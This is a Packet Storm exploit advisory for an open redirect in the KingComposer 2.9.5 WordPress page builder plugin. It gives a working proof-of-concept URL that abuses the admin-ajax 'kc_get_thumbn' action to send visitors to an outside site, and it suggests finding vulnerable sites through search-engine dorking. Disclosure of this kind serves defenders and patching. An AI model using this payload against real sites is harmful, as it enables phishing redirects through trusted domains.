WordPress Page Builder KingComposer 2.9.5 Open Redirection ≈ Packet Storm

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

WordPress Page Builder KingComposer 2.9.5 Open Redirection^[6]: Authored by indoushka ^[7]; WordPress Page Builder KingComposer plugin version 2.9.5 suffers from an open redirection vulnerability.; SHA-256 | dbf0d162774294242130715bbea9786291598d0fa01e2fb2edbb84b85a29ca15; Download ^[8] | Favorite ^[9] | View ^[10]

        ====================================================================================================================================
| # Title     : WordPress Page Builder KingComposer 2.9.5 Open Redirect Vulnerability                                              |
| # Author    : indoushka                                                                                                          |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | 
| # Vendor    : https://kingcomposer.com/                                                                                          |  
====================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] use payload : /wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://packetstormsecurity.com/
[+] https://example.com/wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://packetstormsecurity.com/
Greetings to :=================================================================
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |
===============================================================================